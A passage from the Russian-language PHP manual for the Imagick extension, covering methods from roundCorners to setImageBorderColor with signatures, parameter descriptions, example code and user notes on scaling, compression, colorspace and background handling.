$imagick->rotationalBlurImage(7);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Скругляет углы изображения

  • « Imagick::rotationalBlurImage
  • Imagick::sampleImage »
  • PHP Manual
  • Imagick
  • Скругляет углы изображения

Imagick::roundCorners

(PECL imagick 2, PECL imagick 3)

Imagick::roundCorners — Скругляет углы изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::roundCorners(
float $x_rounding,
float $y_rounding,
float $stroke_width = 10,
float $displace = 5,
float $size_correction = -6
): bool

Скругляет углы изображения. Первые два параметра управляют степенью округления, а три последних параметра могут использоваться для точной настройки процесса округления. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше. Этот метод недоступен, если Imagick был скомпилирован с версией ImageMagick 7.0.70или старше.

Список параметров

x_rounding

Округление по x.

y_rounding

Округление по y.

stroke_width

Ширина обводки.

displace

Смещение изображения.

size_correction

Коррекция размера.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::roundCorners()

Закругление углов изображения

<?php

$image = new Imagick();
$image->newPseudoImage(100, 100, "magick:rose");
$image->setImageFormat("png");

$image->roundCorners(5,3);
$image->writeImage("rounded.png");
?>

User Contributed Notes

ar2rsoft at gmail dot com 26-Aug-2019 10:05
Alternative solution:
// example values
$width = 250;
$height = 250;
$cornerRadius = 10;

// create mask image
$mask = new Imagick();
$mask->newImage($width, $height, new ImagickPixel('transparent'), 'png');
// create the rounded rectangle
$shape = new ImagickDraw();
$shape->setFillColor(new ImagickPixel('black'));
$shape->roundRectangle(0, 0, $width, $height, $cornerRadius, $cornerRadius);
// draw the rectangle
$mask->drawImage($shape);
// apply mask
$image->compositeImage($mask, Imagick::COMPOSITE_DSTIN, 0, 0);

I found solution here:
https://github.com/Imagick/imagick/issues/213#issuecomment-385928740
mmehdibalouchi at gmail dot com 11-Oct-2017 11:50
Is this method deprecated?
what can we do instead ?


Масштабирует изображение с пиксельной выборкой

  • « Imagick::roundCorners
  • Imagick::scaleImage »
  • PHP Manual
  • Imagick
  • Масштабирует изображение с пиксельной выборкой

Imagick::sampleImage

(PECL imagick 2, PECL imagick 3)

Imagick::sampleImage — Масштабирует изображение с пиксельной выборкой

Описание

public Imagick::sampleImage(int $columns, int $rows): bool

Масштабирует изображение до желаемых размеров с помощью выборки пикселей. В отличие от других методов масштабирования, этот метод не вводит дополнительный цвет в масштабируемое изображение.

Список параметров

columns

rows

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует размер изображения

  • « Imagick::sampleImage
  • Imagick::segmentImage »
  • PHP Manual
  • Imagick
  • Масштабирует размер изображения

Imagick::scaleImage

(PECL imagick 2, PECL imagick 3)

Imagick::scaleImage — Масштабирует размер изображения

Описание

public Imagick::scaleImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool

Масштабирует изображение до заданных размеров. Второй параметр будет вычислен, если в качестве любого из параметров будет передан 0.

Замечание: Поведение параметра bestfit было изменено в Imagick 3.0.0. До этой версии при изменении изображения размером 200x150 до 400x300 никаких операций не происходило. В Imagick 3.0.0 и далее изображение будет масштабировано до размеров 400x300, так как это наилучшим образом соответствует ("best fit") данным размерам. Если используется параметр bestfit, то ширина и высота также должны быть определены.

Список параметров

columns

rows

bestfit

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Добавлен необязательный параметр fit. Метод теперь поддерживает пропорциональное масштабирование. Передайте ноль в качестве любого параметра для пропорционального масштабирования.

Примеры

Пример #1 Пример использования Imagick::scaleImage()

<?php
function scaleImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->scaleImage(150, 150, true);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

agamemnus at flyingsoft dot pw 15-Mar-2014 03:34
Warning: this will blur your edges in possibly unexpected ways. For better control, use resizeImage, instead.
clickconvert at gmail dot com 08-Nov-2012 09:50
Need to resize portrait and landscape images (and convert to 72ppi)? These will fit an area of 800x600 without distorting, no matter how tall or wide.

<?php
    $img = new Imagick($img_loc.$file);
    $img->setImageResolution(72,72);
    $img->resampleImage(72,72,imagick::FILTER_UNDEFINED,1);
    $img->scaleImage(800,0);
    $d = $img->getImageGeometry();
    $h = $d['height'];
    if($h > 600) {
    $img->scaleImage(0,600);
    $img->writeImage($resized_loc.$file);
    } else {
    $img->writeImage($resized_loc.$file);
    }
    $img->destroy();
?>
peter at icb dot at 22-Sep-2009 05:25
If using the fit-parameter this function sometimes seems not to work when one of the two sizes (width or height) is the same size as the image has. For example:

<?php
$image = new Imagick('800x480.jpg');
$image->scaleImage(640, 480, true);

// $image is still 800x480
?>

You have to calculate the new sizes yourself and use false for $fit in this case.
octave at web dot de 23-Jul-2009 02:57
When using the "fit = true" option, the image will only scale down, but never scale up:

<?php
$im = new Imagick('1600x1200.jpg');

$im->scaleImage(2000, 1500, true); // => 1600x1200

$im->scaleImage(1000, 500, true); // => 666x500
?>
benford at bluhelix dot com 16-Jun-2009 08:38
If anyone finds "The other parameter will be calculated if 0 is passed as either param. " to be a bit confusing, it means approximately this:

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(300, 0);
?>

This scales the image such that it is now 300 pixels wide, and automatically calculates the height to keep the image at the same aspect ratio.

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(0, 300);
?>

Similarly, this example scales the image to make it 300 pixels tall, and the method automatically recalculates the image's height to maintain the aspect ratio.
vincent dot hoen at gmail dot com 02-Aug-2007 06:37
Here is an easy way to resize an animated gif :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->scaleImage($width, $height);
}


Сегментирует изображение

  • « Imagick::scaleImage
  • Imagick::selectiveBlurImage »
  • PHP Manual
  • Imagick
  • Сегментирует изображение

Imagick::segmentImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::segmentImage — Сегментирует изображение

Описание

public Imagick::segmentImage(
int $COLORSPACE,
float $cluster_threshold,
float $smooth_threshold,
bool $verbose = false
): bool

Анализирует изображение и определяет похожие объекты. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.5 или старше.

Список параметров

COLORSPACE

Одна из констант COLORSPACE.

cluster_threshold

Процент, описывающий минимальное количество пикселей, содержащихся в гексаэдре, прежде чем он будет считаться корректным.

smooth_threshold

Устраняет шум на гистограмме.

verbose

Определяет, выводить ли подробную информацию о распознанных классах.

Возвращаемые значения

Примеры

Пример #1 Пример использования Imagick::segmentImage()

<?php
function segmentImage($imagePath, $colorSpace, $clusterThreshold, $smoothThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->segmentImage($colorSpace, $clusterThreshold, $smoothThreshold);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

segmentImage($imagePath, \Imagick::COLORSPACE_RGB, 5, 5);

?>

User Contributed Notes

There are no user contributed notes for this page.


Выборочное размытие изображения в пределах порогового значения контрастности

  • « Imagick::segmentImage
  • Imagick::separateImageChannel »
  • PHP Manual
  • Imagick
  • Выборочное размытие изображения в пределах порогового значения контрастности

Imagick::selectiveBlurImage

(PECL imagick 3 >= 3.3.0)

Imagick::selectiveBlurImage — Выборочное размытие изображения в пределах порогового значения контрастности

Описание

public Imagick::selectiveBlurImage(
float $radius,
float $sigma,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Выборочное размытие изображения в пределах порогового значения контрастности. Это похоже на маску нерезкости, которая увеличивает резкость всего, если контраст превышает определённый порог.

Список параметров

radius

sigma

threshold

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::selectiveBlurImage()

<?php
function selectiveBlurImage($imagePath, $radius, $sigma, $threshold, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->selectiveBlurImage($radius, $sigma, $threshold, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Отделяет канал от изображения

  • « Imagick::selectiveBlurImage
  • Imagick::sepiaToneImage »
  • PHP Manual
  • Imagick
  • Отделяет канал от изображения

Imagick::separateImageChannel

(PECL imagick 2, PECL imagick 3)

Imagick::separateImageChannel — Отделяет канал от изображения

Описание

public Imagick::separateImageChannel(int $channel): bool

Отделяет канал от изображения и возвращает изображение в оттенках серого. Канал - это определённый цветовой компонент каждого пикселя изображения.

Список параметров

channel

Определяет, какой 'канал' вернуть. Для цветовых пространств, отличных от RGB, можно использовать константы CHANNEL_RED, CHANNEL_GREEN, CHANNEL_BLUE для обозначения 1-го, 2-го и 3-го каналов.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::separateImageChannel()

<?php
function separateImageChannel($imagePath, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->separateimagechannel($channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

separateImageChannel($imagePath, \Imagick::CHANNEL_GREEN);

?>

User Contributed Notes

There are no user contributed notes for this page.


Тонирование изображения сепией

  • « Imagick::separateImageChannel
  • Imagick::setBackgroundColor »
  • PHP Manual
  • Imagick
  • Тонирование изображения сепией

Imagick::sepiaToneImage

(PECL imagick 2, PECL imagick 3)

Imagick::sepiaToneImage — Тонирование изображения сепией

Описание

public Imagick::sepiaToneImage(float $threshold): bool

Применяет к изображению специальный эффект, аналогичный эффекту, достигаемому в фотолаборатории с помощью тонирования сепией. Порог варьируется от 0 до QuantumRange и является мерой степени тонирования сепии. Порог 80 - хорошая отправная точка для разумного тона.

Список параметров

threshold

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::sepiaToneImage()

<?php
function sepiaToneImage($imagePath, $sepia) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->sepiaToneImage($sepia);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет фона объекта по умолчанию

  • « Imagick::sepiaToneImage
  • Imagick::setColorspace »
  • PHP Manual
  • Imagick
  • Устанавливает цвет фона объекта по умолчанию

Imagick::setBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::setBackgroundColor — Устанавливает цвет фона объекта по умолчанию

Описание

public Imagick::setBackgroundColor(mixed $background): bool

Устанавливает цвет фона объекта по умолчанию.

Список параметров

background

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь позволяет использовать представляющую цвет строку в качестве параметра. Предыдущие версии позволяли использовать только объект ImagickPixel.

User Contributed Notes

eleg 28-Feb-2012 02:59
Be cautious and set bgcolor BEFORE importing a SVG with transparency!  :-/

<?php

$im = new Imagick();
$im->setBackgroundColor(new ImagickPixel('transparent'));

$im->readImage('carte_Alain2.svg');

$im->setImageFormat("png32");

header('Content-type: image/png');
echo $im;
?>


Устанавливает цветовое пространство

  • « Imagick::setBackgroundColor
  • Imagick::setCompression »
  • PHP Manual
  • Imagick
  • Устанавливает цветовое пространство

Imagick::setColorspace

(PECL imagick 3)

Imagick::setColorspace — Устанавливает цветовое пространство

Описание

public Imagick::setColorspace(int $COLORSPACE): bool

Устанавливает значение глобального цветового пространства для объекта. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.5.7 или старше.

Список параметров

COLORSPACE

Одна из констант COLORSPACE.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

simonjjarrett at gmail dot com 26-Mar-2020 05:29
This method has to be called BEFORE any files are loaded into the Imagick object.

By default, Imagick will incorrectly read CMYK PDFs - it will read each channel as a greyscale page resulting in 4 times the number of pages. By specifying the desired colorspace (usually SRGB) before reading the file, GhostScript will automatically convert it.

<?php
$im = new Imagick();

// set the sampling resolution
$im->setResolution(200,200);

// set the desired format
$im->SetColorspace(Imagick::COLORSPACE_SRGB);

$im->readimage($file['tmp_name']);
?>
T 28-Dec-2014 09:20
Right now this function doesn't appear to do anything, ref: http://stackoverflow.com/q/10739822/2685496

As mentioned in the answer, modulateImage works fine as a replacement for converting to gray scale.

<?php

$image = new Imagick("input.jpg");

$image->modulateImage(100, 0, 100);

$image->writeImage("output.jpg");

$image->clear();

?>


Устанавливает тип сжатия объекта по умолчанию

  • « Imagick::setColorspace
  • Imagick::setCompressionQuality »
  • PHP Manual
  • Imagick
  • Устанавливает тип сжатия объекта по умолчанию

Imagick::setCompression

(PECL imagick 2, PECL imagick 3)

Imagick::setCompression — Устанавливает тип сжатия объекта по умолчанию

Описание

public Imagick::setCompression(int $compression): bool

Устанавливает тип сжатия объекта по умолчанию.

Список параметров

compression

Тип сжатия. Смотрите константы Imagick::COMPRESSION_*.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает качество сжатия объекта по умолчанию

  • « Imagick::setCompression
  • Imagick::setFilename »
  • PHP Manual
  • Imagick
  • Устанавливает качество сжатия объекта по умолчанию

Imagick::setCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::setCompressionQuality — Устанавливает качество сжатия объекта по умолчанию

Описание

public Imagick::setCompressionQuality(int $quality): bool

Устанавливает качество сжатия объекта по умолчанию.

Предостережение

Этот метод работает только для новых изображений, например, созданных с помощью Imagick::newPseudoImage. Для существующих изображений следует использовать Imagick::setImageCompressionQuality().

Список параметров

quality

Целое число (int) от 1 до 100, 1 = высокая степень сжатия, 100 = низкая степень сжатия.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setCompressionQuality()

<?php
function setCompressionQuality($imagePath, $quality) {

$backgroundImagick = new \Imagick(realpath($imagePath));
$imagick = new \Imagick();
$imagick->setCompressionQuality($quality);
$imagick->newPseudoImage(
$backgroundImagick->getImageWidth(),
$backgroundImagick->getImageHeight(),
'canvas:white'
);

$imagick->compositeImage(
$backgroundImagick,
\Imagick::COMPOSITE_ATOP,
0,
0
);

$imagick->setFormat("jpg");
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

charles dot hall at sas dot com 03-Aug-2010 11:31
I had to insert a call to "stripImage()" in order to actually see the filesize shrink.

<?php
   $img = new Imagick();
   $img->readImage($src);
   $img->setImageCompression(imagick::COMPRESSION_JPEG);
   $img->setImageCompressionQuality(90);
   $img->stripImage();
   $img->writeImage($dest);
?>
deeps chennai 18-Mar-2010 02:59
A note for people who just couldn't get this working..

With PHP 5.1.6, the below works:

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

However, with higher versions of PHP (I tried on PHP 5.2.10), the code has no effect (and there are no exceptions or warnings thrown by Imagick as well).

The code that works instead is:

<?php
$img->setImageCompression(Imagick::COMPRESSION_JPEG);
$img->setImageCompressionQuality(80);
?>

and this is backwards compatible (Works on PHP 5.1.6 as well as 5.2.10)
nVaux.com 26-Mar-2008 08:24
Sebastian's example works excellent, just one minor spelling mistake, it will give you an error otherwise.

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

I used Sebastians example, and made one that compresses all the images within a directory:

<?php
$images = new Imagick(glob('images/*.jpg'));

foreach($images as $image)
{
    // compression methods, see "Contants"-page for Imagick
    $image->setCompression(imagick::COMPRESSION_JPEG);
    // a value between 1 and 100, 1 = high compression, 100 low compression
    $image->setCompressionQuality(80);
    $image->writeImage();
}

?>
sebastian dot moser at gmail dot com 17-Nov-2007 02:46
Use this example to see how image compression works:

<?php
// load an image
$img = new Imagick("test.jpg");

// compression methods, see "Contants"-page for Imagick
$img->setComression(Imagick::COMPRESSION_JPEG);
// a value between 1 and 100, 1 = high compression, 100 low compression
$img->setComressionQuality(80);

// set content type
header("Content-type: image/jpeg");
// write image
echo $img->getImageBlob();
?>


Устанавливает имя файла перед чтением или записью изображения

  • « Imagick::setCompressionQuality
  • Imagick::setFirstIterator »
  • PHP Manual
  • Imagick
  • Устанавливает имя файла перед чтением или записью изображения

Imagick::setFilename

(PECL imagick 2, PECL imagick 3)

Imagick::setFilename — Устанавливает имя файла перед чтением или записью изображения

Описание

public Imagick::setFilename(string $filename): bool

Устанавливает имя файла перед чтением или записью изображения.

Список параметров

filename

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает итератор Imagick для первого изображения

  • « Imagick::setFilename
  • Imagick::setFont »
  • PHP Manual
  • Imagick
  • Устанавливает итератор Imagick для первого изображения

Imagick::setFirstIterator

(PECL imagick 2, PECL imagick 3)

Imagick::setFirstIterator — Устанавливает итератор Imagick для первого изображения

Описание

public Imagick::setFirstIterator(): bool

Устанавливает итератор Imagick для первого изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 01:03
The following function applies a callback to each image in an Imagick object.

<?php
function imagickMap($callback, $im)
{
    $im->setFirstIterator();

    do
    {
        $callback($im);
    }
    while ( $im->nextImage() );
}
?>

E.g. to convert a series of images to grayscale:

<?php
imagickMap(
    function($im)
    {
        $im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);
    },
    $im
);
?>


Устанавливает шрифт

  • « Imagick::setFirstIterator
  • Imagick::setFormat »
  • PHP Manual
  • Imagick
  • Устанавливает шрифт

Imagick::setFont

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setFont — Устанавливает шрифт

Описание

public Imagick::setFont(string $font): bool

Устанавливает объекту свойство шрифт. Метод можно использовать, например, для установки шрифта для caption: формат псевдоизображений. Шрифт должен быть настроен в конфигурации ImageMagick или должен существовать файл с именем font. Метод не следует путать с методом ImagickDraw::setFont(), который устанавливает шрифт для определённого объекта ImagickDraw. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или старше.

Список параметров

font

Имя шрифта или файла.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setFont()

Пример использования Imagick::setFont

<?php
/* Создание нового объекта Imagick */
$im = new Imagick();

/* Установка шрифта для объекта */
$im->setFont("example.ttf");

/* Создание нового заголовка */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Работа с изображением */
?>

Смотрите также

  • Imagick::getFont() - Возвращает название шрифта
  • ImagickDraw::setFont() - Устанавливает указанный шрифт для использования при аннотировании текстом
  • ImagickDraw::getFont() - Возвращает шрифт

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает формат объекта Imagick

  • « Imagick::setFont
  • Imagick::setGravity »
  • PHP Manual
  • Imagick
  • Устанавливает формат объекта Imagick

Imagick::setFormat

(PECL imagick 2, PECL imagick 3)

Imagick::setFormat — Устанавливает формат объекта Imagick

Описание

public Imagick::setFormat(string $format): bool

Устанавливает формат объекта Imagick.

Список параметров

format

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

winmonaye at gmail dot com 21-Sep-2015 06:15
You can only set format listed in $imgic->queryFormats() .
It can be different from http://www.imagemagick.org/script/formats.php .
Meinaart 28-Nov-2012 12:56
For format see:
http://www.imagemagick.org/script/formats.php
scott at thebrain dot ca 14-Oct-2008 08:18
don't confuse this function with setImageFormat()


Устанавливает гравитацию

  • « Imagick::setFormat
  • Imagick::setImage »
  • PHP Manual
  • Imagick
  • Устанавливает гравитацию

Imagick::setGravity

(PECL imagick 2 >= 2.2.0, PECL imagick 3)

Imagick::setGravity — Устанавливает гравитацию

Описание

public Imagick::setGravity(int $gravity): bool

Устанавливает глобальное свойство гравитации для объекта Imagick. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.0 или старше.

Список параметров

gravity

Свойство гравитации. Обратитесь к списку констант GRAVITY.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Ahmad 10-May-2023 10:51
GRAVITY_NORTHWEST: 1
GRAVITY_NORTH: 2
GRAVITY_NORTHEAST: 3
GRAVITY_WEST: 4
GRAVITY_CENTER: 5
GRAVITY_EAST: 6
GRAVITY_SOUTHWEST: 7
GRAVITY_SOUTH: 8
GRAVITY_SOUTHEAST: 9

Default is: 0


Заменяет изображение в объекте

  • « Imagick::setGravity
  • Imagick::setImageAlphaChannel »
  • PHP Manual
  • Imagick
  • Заменяет изображение в объекте

Imagick::setImage

(PECL imagick 2, PECL imagick 3)

Imagick::setImage — Заменяет изображение в объекте

Описание

public Imagick::setImage(Imagick $replace): bool

Заменяет текущую последовательность изображений изображением из заменяющего объекта.

Список параметров

replace

Заменяющий объект Imagick.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImage()

Пример использования Imagick::setImage()

<?php
/* Создание объектов */
$image = new Imagick('source.jpg');
$replace = new Imagick('replace.jpg');

/* source.jpg заменяется на replace.jpg */
$image->setImage($replace);

/* Вывод изображения */
header('Content-type: image/jpeg');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает альфа-канал изображения

  • « Imagick::setImage
  • Imagick::setImageArtifact »
  • PHP Manual
  • Imagick
  • Устанавливает альфа-канал изображения

Imagick::setImageAlphaChannel

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setImageAlphaChannel — Устанавливает альфа-канал изображения

Описание

public Imagick::setImageAlphaChannel(int $mode): bool

Активирует или деактивирует альфа-канал изображения. Параметр mode - одна из констант Imagick::ALPHACHANNEL_*. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или старше.

Список параметров

mode

Одна из констант Imagick::ALPHACHANNEL_*.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Смотрите также

  • Imagick::setImageMatte() - Устанавливает матовый канал изображения
  • Константы альфа-канала Imagick

User Contributed Notes

simonjjarrett at gmail dot com 25-Mar-2020 03:09
If you're having trouble with white backgrounds turning black when converting PDFs to other formats, you need to use this function with Imagick::ALPHACHANNEL_REMOVE as the parameter (this is not currently on the constants page, but it exists in PHP 7.2) to remove the alpha channel.

<?php
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_REMOVE );
?>


Устанавливает артефакт изображения

  • « Imagick::setImageAlphaChannel
  • Imagick::setImageAttribute »
  • PHP Manual
  • Imagick
  • Устанавливает артефакт изображения

Imagick::setImageArtifact

(PECL imagick 3)

Imagick::setImageArtifact — Устанавливает артефакт изображения

Описание

public Imagick::setImageArtifact(string $artifact, string $value): bool

Связывает артефакт с изображением. Разница между свойствами изображения и артефактами изображения заключается в том, что свойства являются общедоступными, а артефакты - закрытыми. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.5.7 или старше.

Список параметров

artifact

Имя артефакта.

value

Значение артефакта.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImageArtifact()

<?php
function setImageArtifact() {

$src1 = new \Imagick(realpath("./images/artifact/source1.png"));
$src2 = new \Imagick(realpath("./images/artifact/source2.png"));

$src2->setImageVirtualPixelMethod(\Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$src2->setImageArtifact('compose:args', "1,0,-0.5,0.5");
$src1->compositeImage($src2, Imagick::COMPOSITE_MATHEMATICS, 0, 0);

$src1->setImageFormat('png');
header("Content-Type: image/png");
echo $src1->getImagesBlob();
}

?>

Смотрите также

  • Imagick::getImageArtifact() - Возвращает артефакт изображения
  • Imagick::deleteImageArtifact() - Удаляет артефакт изображения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает атрибут изображения

  • « Imagick::setImageArtifact
  • Imagick::setImageBackgroundColor »
  • PHP Manual
  • Imagick
  • Устанавливает атрибут изображения

Imagick::setImageAttribute

(PECL imagick 2, PECL imagick 3)

Imagick::setImageAttribute — Устанавливает атрибут изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageAttribute(string $key, string $value): bool

Устанавливает атрибут изображения.

Список параметров

key

value

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет фона изображения

  • « Imagick::setImageAttribute
  • Imagick::setImageBias »
  • PHP Manual
  • Imagick
  • Устанавливает цвет фона изображения

Imagick::setImageBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBackgroundColor — Устанавливает цвет фона изображения

Описание

public Imagick::setImageBackgroundColor(mixed $background): bool

Устанавливает цвет фона изображения.

Список параметров

background

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь позволяет использовать представляющую цвет строку в качестве параметра. Предыдущие версии позволяли использовать только объект ImagickPixel.

User Contributed Notes

mjunaidahmad at outlook dot com 28-Jul-2017 06:02
<?php

  $im = new \Imagick();

        /* read image (914x784) */

     $im->readImage($_SERVER['DOCUMENT_ROOT']."/path/toimage/".$inputfront);

        $im->setImageBackgroundColor(new \ImagickPixel('transparent')); /* this is equal to -background none (in imagemagick command options ) */

        /*Control points for the distortion in order to check weather setImageBackgound is working properly*/

        $controlPoints = array( 0,0,
            280,0,

            994,0,
            914,50,

            994,862,
            784,842,

            0,862,
            110,762);

        /* Perform the distortion */
        $im->distortImage(\Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

        /* Ouput the image */
        $output_front_distort="Projects/path/where you want to store image/distorted_book.png";

       header("Content-Type: image/png");
        $im->writeImage($_SERVER['DOCUMENT_ROOT']."/designerr/public/".$output_front_distort);

?>
Matthias Zartmann 17-Jun-2014 08:33
Small example to optimize a gray scanned image:
<?php
   $im = new Imagick();
   $im->readImage("~/scaninput_300DPI.tiff");
  //deskew the image
   $im->deskewImage(40);
  //Crop to A4 and scanner pageoffset 50
   $im->cropImage(2480, 3416, 50, 0);
  //Need a Monochrome Image
   $im->setImageColorspace(2);
   $im->thresholdImage(11000);
  //Compressen tiff CCITT Group 4
   $im->setImageCompression(Imagick::COMPRESSION_GROUP4);
   $im->writeimage("~/monochrome_300DPI.tiff");
  //Cleanup
   $im->clear();
   $im->destroy();
?>


Устанавливает смещение изображения для любого метода, который свёртывает изображение

  • « Imagick::setImageBackgroundColor
  • Imagick::setImageBiasQuantum »
  • PHP Manual
  • Imagick
  • Устанавливает смещение изображения для любого метода, который свёртывает изображение

Imagick::setImageBias

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBias — Устанавливает смещение изображения для любого метода, который свёртывает изображение

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageBias(float $bias): bool

Устанавливает смещение изображения для любого метода, который свёртывает изображение (например, Imagick::ConvolveImage()).

Список параметров

bias

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImageBias()

<?php
//требуется ImageMagick версии 6.9.0-1, чтобы оказывать влияние на convolveImage
function setImageBias($bias) {
$imagick = new \Imagick(realpath("images/stack.jpg"));

$xKernel = array(
-0.70, 0, 0.70,
-0.70, 0, 0.70,
-0.70, 0, 0.70
);

$imagick->setImageBias($bias * \Imagick::getQuantum());
$imagick->convolveImage($xKernel, \Imagick::CHANNEL_ALL);

$imagick->setImageFormat('png');

header('Content-type: image/png');
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает смещение изображения

  • « Imagick::setImageBias
  • Imagick::setImageBluePrimary »
  • PHP Manual
  • Imagick
  • Устанавливает смещение изображения

Imagick::setImageBiasQuantum

(PECL imagick 3 >= 3.3.0)

Imagick::setImageBiasQuantum — Устанавливает смещение изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageBiasQuantum(float $bias): void

Устанавливает смещение изображения. Смещение должно масштабироваться от 0 (без регулировки) до 1 (квантовое значение).

Список параметров

bias

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветность изображения голубой основной точкой

  • « Imagick::setImageBiasQuantum
  • Imagick::setImageBorderColor »
  • PHP Manual
  • Imagick
  • Устанавливает цветность изображения голубой основной точкой

Imagick::setImageBluePrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBluePrimary — Устанавливает цветность изображения голубой основной точкой

Описание

public Imagick::setImageBluePrimary(float $x, float $y): bool

Устанавливает цветность изображения голубой основной точкой.

Список параметров

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет рамки изображения

  • « Imagick::setImageBluePrimary
  • Imagick::setImageChannelDepth »
  • PHP Manual
  • Imagick
  • Устанавливает цвет рамки изображения

Imagick::setImageBorderColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageBorderColor — Устанавливает цвет рамки изображения

Описание

